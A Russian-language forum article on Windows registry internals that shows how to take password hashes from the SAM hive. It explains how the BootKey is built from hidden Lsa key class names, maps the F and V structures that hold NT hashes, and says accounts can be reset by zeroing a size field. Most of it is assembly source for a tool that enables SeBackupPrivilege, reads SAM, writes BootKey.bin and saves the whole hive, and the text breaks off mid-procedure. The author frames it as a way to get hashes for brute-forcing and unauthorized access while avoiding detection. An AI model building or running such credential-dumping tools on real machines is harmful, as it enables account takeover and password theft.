Статья Анатомия реестра Windows[3] - выносим хэши из SAM

Это заключительная часть из серии внутренних особенностей реестра, где мы на практике рассмотрим, как утилиты типа Mimikatz, Hashcat, PassRecovery и прочие, вытаскивают конфиденциальную инфу из учётных записей пользователей. Разобравшись в теме можно будет не только получить хэши паролей для последующей атаки перебором, но и сбрасывать их на случай, когда требуется несанкционированный доступ к машине в контексте криминалистики. Предыдущие материалы по темы лежат здесь.

В этой части:
1. Общие сведения - назначение базы SAM​
2. Системный ключ BootKey​
3. Структуры учётных записей в SAM​
4. Практика - пишем софт для доступа к ветке SAM​
5. Заключение​



1. Общие сведения - назначение базы SAM

База данных SAM (Security Account Manager) - это защищённая часть системного реестра, которая отвечает за хранение учётных записей на лок.машине, а так-же за процесс проверки личности при входе юзера в систему. Если компьютер подключён к корпоративному домену "Active Directory", проверка подлинности обрабатывается централизованно на сервере домена. Главные функции SAM:

1. Аутентификация - хранит криптографические хэши паролей.​
2. Управление учётными записями - содержит имена зареганых юзеров, их SID (Security Identifier) и инфу о принадлежности к группам.​
3. Политики безопасности - применяет базовые правила, например требования к сложности паролей, или блокировки учётных записей.​

Ключевым компонентом безопасности в Win является системный процесс Lsass.exe (Local Security Authority SubSystem), а куст реестра SAM выступает в роли локальной базы для LSA. Когда в окне Winlogon юзер вводит свой пароль, LSA перехватывает его и обращается к SAM для поиска пользователя. Если аккаунт существует, LSA сравнивает введённый пасс с хэшем из базы, и на его основе генерирует разрешающий вход маркер доступа "Access Token", в котором перечисленны все права данного юзверя.

Код:
0: kd> !process 0 1 akelpad.exe

PROCESS fffffa80`0c9e6060
    SessionId: 1  Peb: 7efdf000
    Image    : AkelPad.exe
    Token    : fffff8a0`0239d060  <------------
.......

0: kd> dt _token fffff8a0`0239d060

nt!_TOKEN
   +0x000 TokenSource         : _TOKEN_SOURCE
   +0x010 TokenId             : _LUID
   +0x018 AuthenticationId    : _LUID
   +0x020 ParentTokenId       : _LUID
   +0x028 ExpirationTime      : 0x7fffffff`ffffffff
   +0x030 TokenLock           : 0xfffffa80`0c9252c0  _ERESOURCE
   +0x038 ModifiedId          : _LUID
   +0x040 Privileges          : _SEP_TOKEN_PRIVILEGES
   +0x058 AuditPolicy         : _SEP_AUDIT_POLICY
   +0x074 SessionId           : 1
   +0x078 UserAndGroupCount   : 0xf
   +0x07c RestrictedSidCount  : 0
   +0x080 VariableLength      : 0x2bc
   +0x084 DynamicCharged      : 0x400
   +0x088 DynamicAvailable    : 0
   +0x08c DefaultOwnerIndex   : 4
   +0x090 UserAndGroups       : 0xfffff8a0`0239d370  _SID_AND_ATTRIBUTES
   +0x098 RestrictedSids      : (null)
   +0x0a0 PrimaryGroup        : 0xfffff8a0`01de4cb0
   +0x0a8 DynamicPart         : 0xfffff8a0`01de4cb0
   +0x0b0 DefaultDacl         : 0xfffff8a0`01de4ccc  _ACL
   +0x0b8 TokenType           : 1 ( TokenPrimary )
   +0x0bc ImpersonationLevel  : 0 ( SecurityAnonymous )
   +0x0c0 TokenFlags          : 0x2000
   +0x0c4 TokenInUse          : 1
   +0x0c8 IntegrityLevelIndex : 0x0E
   +0x0cc MandatoryPolicy     : 3
   +0x0d0 LogonSession        : 0xfffff8a0`017815f0  _SEP_LOGON_SESSION_REFERENCES
   +0x0d8 OriginLogonSession  : _LUID
   +0x0e0 SidHash             : _SID_AND_ATTRIBUTES_HASH
   +0x1f0 RestrictedSidHash   : _SID_AND_ATTRIBUTES_HASH
   +0x300 SecurityAttributes  : 0xfffff8a0`0178f860  _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
   +0x308 SessionObject       : 0xfffffa80`103ff1c0
   +0x310 VariablePart        : 0xfffff8a0`0239d460
0: kd>

В памяти процесса Lsass хранятся и т.н. "LSA Secrets" - именно их используют инструменты типа Mimikatz для кражи инфы. Некоторую информацию по секретам LSA можно найти здесь. Чтобы защитить память lsass, начиная с Win10 были введены технология бункера "Credential Guard" и доп.слой изоляции "RunAsPPL" (Protected Process Light). Эта пара блокирует попытки создания дампа, что полностью обезоруживает Mimikatz. Изоляцию активирует ключ "RunAsPPL" в ветке HKLM\SYSTEM\CurrentControlSet\Control\Lsa - значение(0) отключает фишку, (1)вкл.через переменную в UEFI, (2)вкл в обычном режиме (только для Win11 сборки 22H2+).

Таким образом, чтобы добраться до учётных записей, нам нужно или сбросить дамп процесса Lsass, или каким-то образом заполучить доступ к защищённым файлам реестра на диске. Как уже выяснилось, дампить память на современных ОС слишком палевно - системные сторожа тут-же поднимут шум и придётся уносить ноги. Второй вариант с доступом к файлам на диске представляет проблему (требуются сложные операции на уровне секторов диска, вместо ReadFile), поскольку система блокирует их после чтения в память.

Поэтому мы задействуем вполне безобидный трюк - это чтение реестра на живой системе стандартными функциями типа RegOpenKeyEx() и прочих. Такой подход даже не рассматривается в обществе аналитиков и реверс-инжинеров (по крайней мере мне не удалось найти никаких ссылок), а причиной тому отсутствие актуальной документации на структуры, которые описывают бинарные данные реестра. Правда есть кое-что, но только для WinXP. После неё утекло уже много воды, и майки внесли массу изменений, что отразилось и на формате закрытых структур.

Подпевая в унисон друг-другу, все хором утверждают, мол для доступа к SAM нужны права пользователя System. Отчасти это так, но с одной оговоркой! Если ты админ и у тебя есть привилегия "SeBackup", то вызывая API с определёнными флагами можешь без проблем не только читать любую ветку реестра, но и записывать в неё данные прямо из пользовательской сессии(1). Чтобы не быть голословным, далее я представлю пруфы этому громкому тезису.


2. Системный ключ "BootKey" и поле "ClassName"

WinXP имела штатную утилиту под названием "Syskey", которая добавляла доп.уровень шифрования к хранящимся в SAM паролям. Для крипта она использовала 16-байтный ключ "BootKey" (128 бит), который генерился на основе введённой юзером строки. Как результат, взломщику нужно было сначала найти этот ключ (чтобы удалить доп.уровень обфускации), и лишь потом брутить реальные хэши. Звучит впечатляюще, но в настоящий момент syskey считается устаревшим - инженеры полностью удалили эту технологию начиная с Win10, в пользу более надёжного шифрования диска "BitLocker".

Однако BootKey жив и по сей день, пусть и не в прежнем виде. Теперь он жёстко прошит в следующих ключах реестра, и собирается из 4-х значений "ClassName" их параметров (иерархия: ветка\ключ\параметр\значение):

Код:
HKLM\System\CurrentControlSet\Control\Lsa\JD    - параметр Lookup
HKLM\System\CurrentControlSet\Control\Lsa\Skew1 - параметр SkewMatrix
HKLM\System\CurrentControlSet\Control\Lsa\Data  - параметр Pattern
HKLM\System\CurrentControlSet\Control\Lsa\GBG   - параметр GrafBlumGroup

Анализ в WinDbg и шпионом RegMon доказывает, что получить заветный BootKey сейчас довольно просто - для этого нужно проделать сл.операции:

1. Функцией RegOpenKeyEx() в цикле открыть ключи реестра JD - Skew1 - Data - GBG, указав до них полный путь.​
2. На каждой итерации цикла вызывать RegQueryInfoKey(), чтобы получить значение "ClassName" параметров.​
3. Строго соблюдая указанную выше последовательность, сохранить все 4-байтные значения классов в своём буфере.​
4. Так получим 16-байтный массив, т.е. 4 класса, по 4 байта.​
5. Переставить байты в массиве, чтобы они следовали в таком порядке: 8,5,4,2,11,9,13,3,0,6,1,12,14,10,15,7
6. Это и будет значением ключа шифрования BootKey.​

Здесь есть нюанс, на который следует обратить особое внимание.
Дело в том, что значение "ClassName" весьма не типичное для реестра, а потому его не отображает ни один из известных мне редакторов, например Regedit, RegistryFinder, TotalReg и другие. Значение класса обычно нигде не фигурирует, и было введено просто как доп.поле, куда клиенты реестра могут сбрасывать личную свою инфу (считайте его потайным карманом у себя в штанах).

Прочитать значение ClassName можно отправив на экспорт ветку в формате *.txt, или вызвать одну из api RegQueryInfoKeyEx() + RegGetValue(). Обе эти api имеют аргумент "lpClass". На скрине ниже видно, что в правом окне реестра имеются лишь поля: Имя-Тип-Значение-Размер, хотя в экспортированном из реестра текстовом файле класс уже присутствует.

Jd_Class.webp


3. Структуры учётных записей в SAM

Будем считать, что ключ BootKey мы раздобыли, и теперь пришло время вытащить из реестра хэши паролей. Единственная проблема здесь - это разобрать на атомы двоичные дампы параметров, чего нельзя сделать в принципе не имея структур с описанием полей. В гугле какая-то муть, которая ни в какую не хотела проецироваться на мой дамп Win7 x64. Туда-же я отправил и ботов ИИ, которые не смогли удовлетворить мои запросы. Так-что пришлось искать недокументированные структуры самому, и я случайно наткнулся на них на одном из китайских сайтов.

Значит сырые хэши паролей лежат в ветке HKLM\SAM\SAM\Domains\Account\Users\*RID (см.красный блок на скрине ниже), при этом во-вложенном подкаталоге Names хранятся соответствующие этим RID имена учётных записей. Таким образом, обход нужно начинать именно с ветки Domains\Account\Users\Names, где в поле "Тип" каждой из них будет указан RID для доступа к родительской ветке Users.

Например на рис.ниже видно, что учётной записи "DefaultAccount" подсистема безопасности LSA назначила RID=0x1F7, и если выбрать его в ветке Users, то найдём в ней два параметра F и V. Первый(F) всегда имеет фиксированный размер 80-байт (или 50h), поэтому его и назвали "Fixed". А вот размер второго(V) может быть переменным от "Variable", и именно в нём хранится хэш пароля NTLM.

Users_Names.webp

Вот структура параметра(F) - он имеет тип REG_BINARY и описывает следующее (назначение полей Unknown неизвестно, и можно их игнорировать):

Код:
struct SAM_F
   Version       dd  0    ; 00  = 0x00010002 (v1.2)
   Unknown1      dd  0    ; 04
   LastLogon     dq  0    ; 08  время последнего входа учётной записи в систему
   Unknown2      dq  0    ; 10
   PassLastSet   dq  0    ; 18  время последнего изменения пароля
   Unknown3      dq  0    ; 20
   LastBadPass   dq  0    ; 28  время последнего ввода неверного пароля
   RID           dd  0    ; 30  Relative Identifier (относительный ID, см.скрин выше)
   Unknown4      dd  0    ; 34
   ACB           dd  0    ; 38  Флаги "Account Control Bit"
   CountryCode   dw  0    ; 3C  код региона (0 = System default)
   Unknown6      dw  0    ; 3E
   BadPassCount  dw  0    ; 40  кол-во вводов неправильно пароля
   LogonCount    dw  0    ; 42  общее кол-во входов в систему
   Reserved      rb  12   ; 44  выравнивание до 80 байт
ends

;//------------------------------------------------
;// ACB. Offset 0x38. Состояние учётной записи.
;//------------------------------------------------
ACB_DISABLED                = 0x0001    ; Отключена
ACB_HOMDIRREQ               = 0x0002    ; Требуется домашний каталог
ACB_PASS_NOTREQ             = 0x0004    ; Игнорировать политику мин.длины (разрешён пустой пароль)
ACB_TEMP_DUP                = 0x0008    ; Временная учётная запись
ACB_NORMAL                  = 0x0010    ; Обычная
ACB_MNS                     = 0x0020    ; Кластера MNS
ACB_DOMTRUST                = 0x0040    ; Домена
ACB_WSTRUST                 = 0x0080    ; Рабочей станции
ACB_SVRTRUST                = 0x0100    ; Сервера
ACB_PASS_NOEXP              = 0x0200    ; Пароль не истекает
ACB_AUTOLOCK                = 0x0400    ; Авто-блокировка (например, несколько неверных попыток входа)
ACB_ENC_TXT_PWD_ALLOWED     = 0x0800    ; Разрешён зашифрованный текстовый пароль
ACB_SMARTCARD_REQUIRED      = 0x1000    ; Требуется смарт-карта
ACB_TRUSTED_FOR_DELEGATION  = 0x2000    ; Доверено для делегирования
ACB_NOT_DELEGATED           = 0x4000    ; Не делегировано
ACB_USE_DES_KEY_ONLY        = 0x8000    ; Использовать только DES ключи

И наконец параметр(V). Он имеет довольно интересную организацию, и делится на 2 части.
Первая выделена под заголовки атрибутов учётной записи, а размер каждого хидера равен три дворда, или 12-байт.

Код:
struct VHEADER  ;<---- Формат заголовка
   Offset   dd  0    ; смещение до атрибута (нужно прибавить базу 0xCC)
   Size     dd  0    ; реальный размер атрибута
   Unknown  dd  0    ; непонятное поле
ends

Общее кол-во этих заголовков всегда постоянно и составляет 17 штук, а значит все они скопом занимают 17*12=204 байта, или 0хСС. Таким образом, первый атрибут будет начинаться со-смещения 0хСС внутри параметра(V), а длину его можно узнать из поля Size заголовка. Важно понять, что значение в поле Offset является относительным, а потому абсолютный адрес любого атрибута вычисляется по формуле: Offset+0xCC.

Код:
struct SAM_V
   Security        VHEADER    ; 00 = атрибуты безопасности SID + ACL
   UserName        VHEADER    ; 0C = имя пользователя
   FullName        VHEADER    ; 18
   Comment         VHEADER    ; 24 = Unicode строка с описанием учётной записи
   UserComment     VHEADER    ; 30
   Unknown1        VHEADER    ; 3C
   HomeDir         VHEADER    ; 48 = путь до папки C:\Users\<userName>
   HomeDirConnect  VHEADER    ; 54
   LogonScript     VHEADER    ; 60
   ProfilePath     VHEADER    ; 6C
   Workstation     VHEADER    ; 78
   HourAllowed     VHEADER    ; 84
   Unknown2        VHEADER    ; 90
   LMHash          VHEADER    ; 9C = сырой\обфусцированный хэш
   NTHash          VHEADER    ; A8
   NT_history      VHEADER    ; B4 = предыдущий хэш (если была смена пароля)
   LM_history      VHEADER    ; C0
ends

struct SAM_SECUR   ;<------------ Описывает дескриптор безопасности (первый атрибут)
   Revision        db  0    ; 00  версия структуры (как правило =1)
   Sbz1            db  0    ; 01  резерв
   Control         dw  0    ; 02  флаги, какие компоненты присутствуют
   OwnerOffs       dd  0    ; 04  cмещение до SID владельца
   GroupOffs       dd  0    ; 08  cмещение до SID группы
   SaclOffs        dd  0    ; 0C  cмещение до SACL
   DaclOffs        dd  0    ; 10  cмещение до DACL
;-----------------------------> здесь начинаются сами SID и ACL
ends

На скрине ниже реальное содержимое моего параметра(V). Красным выделен блок с 17 заголовками, после которых начинаются и сами атрибуты. Например, чтобы получить имя юзера, мы берём второй заголовок по смещению 0x0C от начала, и находим в нём Offset=BC & Size=0E. Поскольку размер больше нуля, значит атрибут реально есть, и прибавив к Offset значение базы 0xCC, получаем абсолютный адрес 0x188, где и видим Unicode строку "Marylin".

При разборе параметра(V) нужно обязательно проверять поле Size в заголовке, поскольку большинство атрибутов могут вообще отсутствовать, как на этом скрине начиная со-смещения 0x18 и вплоть до 0x90. Все офсеты в данном диапазоне смотрят на 0xCC, хотя размеры их атрибутов равны нулю (второй дворд после 0xCC).

А вот с арибутом хэшей есть один нюанс. Если посмотреть на структуру SAM_V, то указатель на LM-хэш лежит по смещению 0х9С в заголовке, где видим Offset=D4+CC=1A0. При этом размер его всего 4 байта, что подозрительно, т.к. хэши должны быть 16-байтные. От сюда вывод - здесь хэш LM вообще отсутствует, а есть только его префикс со значением 0x00010004.

Но если посмотреть на указатель хэша NT по смещению 0xA8, то его Offset=D8+CC=1A4, при размере атрибута уже 0х14. Таким образом хэши предваряют один дворд на системах Win7, и 2 дворда на Win10+ (что именно они означают мне так и не удалось выяснить). В данном случае имеем NT-хэш: 3C4593B1...686BCCE5.

Теперь становится ясно, каким образом специальные утилиты сбрасывают пароли на вход в учётную запись. Для этого нужно обнулить лишь поле Size в заголовке LM/NT хэшей, оставив как есть само 16-байтное значение.

V_param.webp

Если учётной записи назначена картинка, то помимо параметров F/V будет ещё один с именем UserTile. В реестре хранится не только путь до этой аватарки, но и весь файл JPG/PNG целиком так, что мы можем вытащить его программно. Если не понятно о чём речь, вот пример с моей машины:

UserTile.webp

Код:
;// Структура параметра "UserTile" в SAM\Domains\Account\Users\RID
;// Описывает аву профиля пользователя в окне Winlogon

struct USER_TILE
   Reserved1   dd  3    ; 00
   FileSize    dd  0    ; 0C
   PicData     db  ?    ; 10 = картинка в двочном формате
   Padding     dq  0    ; 10 + FileSize
   PicExt      dq  0    ; расширение BMP\PNG\JMP\ect
   Reserved2   dq  0    ;
   FilePath    du  ?    ; Путь до файла иконки на диске
ends


4. Практика - пишем софт для доступа к ветке SAM

Под занавес соберём всё сказанное в одну форточку, чтобы представить пруфы.
В этом контексте есть несколько критически важных замечаний, иначе не видать нам доступа к ветке SAM.

1. Обязательно требуется запуск кода от админа, которому предварительно нужно включить привилегию "SeBackup".​
2. Кусты реестра SAM открывать не стандартной функцией RegOpenKey(), а использовать расширенную версию RegCreateKeyEx().​
3. В параметре последней указать магический флаг "REG_OPTION_BACKUP_RESTORE" - в купе с привилегий "SeBackup" он открывает все двери в реестр.​
4. Этот флаг не наследуется, а потому дочерние кусты открывать не по дескриптору Handle родительского, а индивидуальным вызовом RegCreateKeyEx() опять с флагом "REG_OPTION_BACKUP_RESTORE". Просто возьмите это за правило, и всё будет гуд.​
5. При открытии кустов, всегда указывайте полный путь от самого корня, например HKLM\SAM\SAM\Domains\Account\Users\Names. Такое требование приводит к тому, что формировать пути придётся динамически, используя конкатенацию (объединение) двух строк функцией lstrcat().​
6. Если пути формируются в цикле (как это обычно и происходит), не забывайте очищать буфер перед очередным lstrcat(), иначе можно получить дубль по типу: ..\Account\Users\Names\MarylinUser (т.е. союз двух разных имён в хвосте строки). Ошибки подобного рода хорошо видны в отладчике.​

Вот собственно исходник приложения, и результат его деятельности.
Код начинается с того, что собирает значения всех классов, и на основании их создаёт ключ "BootKey". После сохранения ключа в файл, идёт попытка открыть куст SAM и если ок, то даёт об этом знать юзеру. От версии ОС зависит, 1 или 2 префикса нужно пропустить при доступе к хэшам в параметре(V), поэтому сбрасываем VersionMajor как флаг в переменную. Я беру версию из РЕВ процесса: 6 = Win7, 10 = Win10.

Далее основной функционал с обходом параметров F/V в учётных записях.
На первом этапе сбрасываю в ListView имя и RID из куста \Users\Names, а на втором этапе уже вывод нарытой инфы в статики свойств. Отмечу, что я не ставил перед собой цели полностью расшифровать и сбрутить хэши паролей - это отдельная тема для разговора. Здесь просто демка, как можно прямо из сессии(1) получить доступ к закрытой ветке реестра SAM.

C-подобный:
format   pe gui 6.0
entry    start
include 'win32ax.inc'
include 'equates\reghive.inc'
include 'encoding\win1251.inc'
;//-------------------
.data
ID_LV       =   1000
ID_JD       =   1001
ID_SK       =   1002
ID_GB       =   1003
ID_DT       =   1004
ID_Key      =   1005
ID_File     =   1006
ID_Fsize    =   1007
ID_Sam      =   1008
ID_Win      =   1009
ID_Stat     =   1010
ID_Time     =   1011
ID_Pass     =   1012
ID_Bad      =   1013
ID_Lcnt     =   1014
ID_Bcnt     =   1015
ID_NHash    =   1016
ID_Sid      =   1017
ID_Save     =   1018
ID_Clear    =   1019

RRF_RT_ANY         =  0xffff
RRF_RT_REG_BINARY  =  0x0008

hLV         dd  0
hModule     dd  0
hDlg        dd  0
hReg        dd  0
hToken      dd  0
hSamBackup  dd  0
hSamUsers   dd  0
hSamNames   dd  0
hUserRid    dd  0
index       dd  0
osFlag      dd  0
hMyBrush    dd  0    ;// дескриптор кисти для фона Static

lpClass     dq  0,0,0,0,0
lpcClass    dd  0
pcbBinary   dd  16
pDataSize   dd  0
ridBuff     dd  0,0
pdwType     dd  0
f_Buff      rd  80   ;//<--- Буфер (fixed)

align 16
sysKey      db  'SYSTEM\CurrentControlSet\Control\Lsa\',0,0,0,0,0,0,0,0
subKey      db  'JD',0,0,0,0
            db  'Skew1',0
            db  'GBG',0,0,0
            db  'Data',0,0
subKeyName  rb  16

align 16
usersPath   db  'SAM\SAM\Domains\Account\Users\',0
users       db  64 dup(0)

align 16
namesPath   db  'SAM\SAM\Domains\Account\Users\Names\',0
names       db  64 dup(0)

userOn      db  'Активна',0
userOff     db  'Отключена',0

;//ShiftArray  db  8,5,4,2,11,9,13,3,0,6,1,12,14,10,15,7
shiftArray  db  16,10,8,4,22,18,26,6,0,12,2,24,28,20,30,14
hexKey      dd  0,0,0,0,0,0,0,0

align 16
struct TOKEN_PRIVILEGES
   PrivilegeCount  dd  1   ;// Счётчик добавляемых привилегий
   BckpLuid        dq  0   ;// Место под Backup_LUID
   BckpPrivileges  dd  2   ;// SE_PRIVILEGE_ENABLED
ends
tp     TOKEN_PRIVILEGES

lvi    LV_ITEM
lvc    LV_COLUMN
stm    SYSTEMTIME
nmlv   NM_LISTVIEW

colName0    db  'Учётная запись',0
colName1    db  'RID',0

align 16
buff        rb  2048

;//-------------------
.code
start:    invoke  IsUserAnAdmin
          or      eax,eax
          jnz     @f
          invoke  MessageBox,0,<'Ошибка! Требуются права админа.',0>,0,0x30
          invoke  ExitProcess,1

;// Включаем привилегию "Backup" для доступа к SAM
@@:       invoke  GetCurrentProcess
          invoke  OpenProcessToken,eax,0x28, hToken
          lea     eax,[tp.BckpLuid]
          invoke  LookupPrivilegeValue,0,<'SeBackupPrivilege',0>,eax
          invoke  AdjustTokenPrivileges,[hToken],0,tp,0,0,0   ;// 1 = Ок!
          invoke  CloseHandle,[hToken]

          invoke  InitCommonControls
          invoke  GetModuleHandle,0
          mov     [hModule],eax
          invoke  DialogBoxParam, eax,100,0,DialogProc,0
          invoke  ExitProcess, 0

proc  DialogProc hwnd, msg, wparam, lparam
          mov     eax,[hwnd]
          mov     [hDlg],eax

          cmp     [msg],WM_INITDIALOG
          je      @init
          cmp     [msg],WM_COMMAND
          je      @exit
          cmp     [msg],WM_CLOSE
          je      @close
          cmp     [msg],WM_NOTIFY
          je      @notify
          cmp     [msg],WM_CTLCOLORSTATIC
          je      @strgb
          jmp     @next

;//***************************************************
;//****** Обработчик "WM_CTLCOLORSTATIC" *************
;//***************************************************
;// wParam = контекст устройства HDC
;// lParam = дескриптор элемента управления
@strgb:   invoke  GetDlgCtrlID,[lparam]
          mov     ecx,17
          mov     ebx,1001

@@:       push    eax ebx ecx
          cmp     eax,ebx
          je      @f
          pop     ecx ebx eax
          inc     ebx
          loop    @b
          jmp     @next
                                         ;5d260e
@@:       invoke  SetTextColor,[wparam],0x080848    ;// 00BBGGRR
          invoke  SetBkMode,[wparam],TRANSPARENT    ;// прозрачный фон
          invoke  GetSysColorBrush,COLOR_BTNFACE    ;// обязательно возвратить стд.кисть!
          ret

;//***************************************************
;//****** Обработчик сообщения "WM_INITDIALOG" *******
;//***************************************************
@init:    invoke  SetWindowText,[hwnd],<'SAM Hive Info v0.1. (Demo version)',0>
;//------ Версия Windows
          mov     esi,[ fs:0x30]
          mov     eax,[esi+0xA4]
          mov     ebx,[esi+0xA8]
          movzx   ecx,word[esi+0xAC]
          movzx   edx,word[esi+0xAE]
          shr     edx,8
          mov     [osFlag],eax
         cinvoke  wsprintf,buff,<'Microsoft Windows %d.%d.%d - SP%d',0>,eax,ebx,ecx,edx
          invoke  SetDlgItemText,[hwnd],ID_Win,buff

;//------ Отключить буттон "Сброс пароля"
          invoke  GetDlgItem,[hwnd],ID_Clear
;          invoke  EnableWindow,eax,0

;//------ Вставим иконку в окно
          invoke  LoadIcon,[hModule],101
          invoke  SendMessage,[hwnd],WM_SETICON,ICON_BIG,eax

;//------ Получить дескриптор контрола ListView
          invoke  GetDlgItem,[hwnd],ID_LV
          mov     [hLV],eax
;//------ Установить для него расширенный стиль
          invoke  SendMessage,eax,LVM_SETEXTENDEDLISTVIEWSTYLE,0,\
                                    LVS_EX_FULLROWSELECT + LVS_EX_GRIDLINES

;//------ Вставить столбцы "LV_COLUMN" в список
          mov     [lvc.mask],LVCF_TEXT + LVCF_WIDTH + LVCF_FMT

          mov     [lvc.cx],140
          mov     [lvc.pszText],colName0
          invoke  SendMessage,[hLV], LVM_INSERTCOLUMN, 0, lvc

          mov     [lvc.cx],75
          mov     [lvc.pszText],colName1
          mov     [lvc.fmt],LVCFMT_CENTER
          invoke  SendMessage,[hLV], LVM_INSERTCOLUMN, 1, lvc

;//------ Читаем в цикле классы ..\LSA\JD-Skew1-GBG-Data
          mov     ebx,lpClass
          mov     esi,subKey
          mov     edi,sysKey+37
          mov     ecx,4
@@:       push    ecx esi edi ebx ebx
          mov     ecx,6
          rep     movsb

          mov     [lpcClass],16
          invoke  RegOpenKeyEx,HKEY_LOCAL_MACHINE,sysKey,0,KEY_QUERY_VALUE,hReg
          pop     ebx
          invoke  RegQueryInfoKey,[hReg],ebx,lpcClass,0,0,0,0,0,0,0,0,0
          invoke  RegCloseKey,[hReg]

          pop     ebx edi esi ecx
          add     esi,6
          add     ebx,8
          loop    @b

;//------ Вывод имён классов в статики
@@:       mov     eax,subKey
          mov     esi,lpClass
          mov     edi,subKeyName
          mov     ecx,4
          mov     ebx,ID_JD
@@:       push    eax ebx esi edi ecx
          mov     ecx,8
          rep     movsb

         stdcall  UpperCase,subKeyName,8
          invoke  SetDlgItemText,[hwnd],ebx,subKeyName

          pop     ecx edi esi ebx eax
          add     esi,8
          add     eax,6
          inc     ebx     ;// ID_JD..SK\GB\DT
          loop    @b

;//------ Формируем ключ "BootKey" из имён классов LSA
          mov     esi,lpClass
          mov     edi,buff
          mov     ecx,16
          mov     edx,shiftArray
@@:       movzx   ebx,byte[edx]
          mov     ax,word[esi+ebx]
          stosw
          inc     edx
          loop    @b
         stdcall  UpperCase,buff,32
          invoke  SetDlgItemText,[hwnd],ID_Key,buff

;//------ Строка в НЕХ-число для записи в файл
          invoke  CryptStringToBinary,buff,32,4,\  ;//<-- CRYPT_STRING_HEX
                          hexKey,pcbBinary,0,0

          invoke  _lcreat,<'BootKey.bin',0>,0     ;// Запись ключа в файл!
          push    eax
          invoke  _lwrite,eax,hexKey,16
          pop     eax
          invoke  _lclose,eax

          invoke  SetDlgItemText,[hwnd],ID_File, <'BootKey.bin',0>
          invoke  SetDlgItemText,[hwnd],ID_Fsize,<'16 byte',0>


;//*******************************************
;//------ Пытаемся открыть куст SAM
;//*******************************************
          invoke  RegCreateKeyEx,HKEY_LOCAL_MACHINE,\  ;//<------------- 0 = OK!
                             <'SAM\SAM\Domains\Account\Users\Names',0>,0,0,\
                             REG_OPTION_BACKUP_RESTORE, KEY_READ,0,hSamNames,0
          or      eax,eax
          jz      @f
          invoke  MessageBox,0,<'Ошибка!',10,\
                                'Не удалось получить доступ к разделу SAM.',0>,\
                               <'SAM Hive Info v0.1.',0>,0x10
          jmp     @close
@@:       invoke  SetDlgItemText,[hwnd],ID_Sam,\
                               <'HKLM\SAM\SAM\Domains\Account\Users\',0>

;// Цикл заполнения ListView...
@listViewRow:
          mov     dword[pDataSize],64
          invoke  RegEnumKeyEx,[hSamNames],[index],buff,pDataSize,0,0,0,0
          cmp     eax,259        ;//<------ ERROR_NO_MORE_ITEMS
          jz      @f

          mov     eax,[index]
          mov     [lvi.mask],LVIF_TEXT
          mov     [lvi.pszText],buff
          mov     [lvi.iItem],eax
          mov     [lvi.lParam],eax
          mov     [lvi.iSubItem],0
          invoke  SendMessage,[hLV],LVM_INSERTITEM,0,lvi

         stdcall  ClearBuff,names,64
          invoke  lstrcat,namesPath,buff
          invoke  RegCreateKeyEx,HKEY_LOCAL_MACHINE,namesPath,0,0,\
                                 REG_OPTION_BACKUP_RESTORE, KEY_READ,0,hSamUsers,0

          mov     [pDataSize],8
          mov     [ridBuff],0
          invoke  RegGetValue,[hSamUsers],0,0,\
                              RRF_RT_ANY,pdwType,ridBuff,pDataSize
         cinvoke  wsprintf,buff,<'%08X',0>,[pdwType]

          mov     [lvi.mask],LVIF_TEXT
          mov     [lvi.pszText], buff
          mov     [lvi.iSubItem],1
          invoke  SendMessage,[hLV],LVM_SETITEM,0,lvi

          inc     [index]
          jmp     @listViewRow

@@:       invoke  RegCloseKey,[hSamNames]
          invoke  RegCloseKey,[hSamUsers]
          jmp     @next

;//********************************************************
;//****** Обработчик "WM_NOTIFY" (клик в строке ListView)
;//********************************************************
@notify:  mov     esi,[lparam]
          mov     ebx,[esi+NMHDR.code]
          cmp     ebx,NM_CLICK
          jne     @exit
  
          mov     ecx,[esi+NM_ITEMACTIVATE.iItem]
          cmp     ecx,-1
          je      @exit

          mov     [lvi.iItem],ecx
          mov     [lvi.iSubItem],1
          mov     [lvi.pszText],buff
          mov     [lvi.cchTextMax],16
          invoke  SendMessage,[hLV],LVM_GETITEMTEXT,ecx,lvi

          call    ParseFVkey
          jmp     @next

;//********************************************************
;//****** Обработчики сообщений "WM_CLOSE/COMMAND" ********
;//********************************************************
@exit:    cmp     [wparam],BN_CLICKED shl 16 + ID_Save
          jne     @f
          invoke  RegCreateKeyEx,HKEY_LOCAL_MACHINE,<'SAM',0>,0,0,\
                                 REG_OPTION_BACKUP_RESTORE, KEY_READ,0,hSamBackup,0
          invoke  RegSaveKeyEx,[hSamBackup],<'BackupSAM.regf',0>,0,2
          invoke  RegCloseKey, [hSamBackup]
          invoke  MessageBox,0,<'Раздел реестра успешно сохранён в файле "BackupSAM.regf"!',0>,\
                               <'SAM Hive Info v0.1',0>,0x40
          jmp     @next

@@:       cmp     [wparam],BN_CLICKED shl 16 + ID_Clear
          jne     @f
          invoke  MessageBox,0,<'Функционал не реализован в данной версии!',0>,\
                               <'SAM Hive Info v0.1',0>,0x40

@@:       cmp     [wparam],BN_CLICKED shl 16 + IDCANCEL
          jne     @next
@close:   invoke  EndDialog,[hwnd], 0
@next:    xor     eax,eax
@return:  ret
endp

;//============= ПРОЦЕДУРЫ ================
;//------ Перевод строки в верхний рестр
align 8
proc  UpperCase   Addr,Size
          mov     edi,[Addr]
          mov     ecx,[Size]
@upper:   cmp     byte[edi],'a'
          jb      @fuck
          cmp     byte[edi],'f'
          ja      @fuck
          and     byte[edi],0xDF
@fuck:    inc     edi
          loop    @upper
          ret
endp
;//------ Очищает буферы для сл.операций
align 8
proc  ClearBuff   Offset,Size
          mov     edi,[Offset]
          mov     ecx,[Size]
          xor     eax,eax
          rep     stosb
          mov     eax,[Offset]
          dec     eax
          mov     byte[eax],0
          ret
endp
;//------ Парсит ключи F и V учётных записей
;// На входе: в "buff" лежит строка RID выбранного юзера
align 8
proc  ParseFVkey
          pusha
         stdcall  ClearBuff,users,64
          invoke  lstrcat,usersPath,buff
          invoke  RegCreateKeyEx,HKEY_LOCAL_MACHINE,usersPath,0,0,\
                                 REG_OPTION_BACKUP_RESTORE,KEY_READ,0,hUserRid,0
          or      eax,eax
          jz      @f
          invoke  MessageBox,0,<'Ошибка!',10,\
                                'Не удалось открыть \Account\Users\RID*',0>,\
                               <'SAM Hive Info v0.1',0>,0x10
          popa
          ret
;// Вывод инфы из ключа "F" (fixed)
@@:      stdcall  ClearBuff,f_Buff,80
          mov     [pDataSize],80
          invoke  RegGetValue,[hUserRid],0,<'F',0>,RRF_RT_ANY,pdwType,f_Buff,pDataSize

          mov     esi,f_Buff
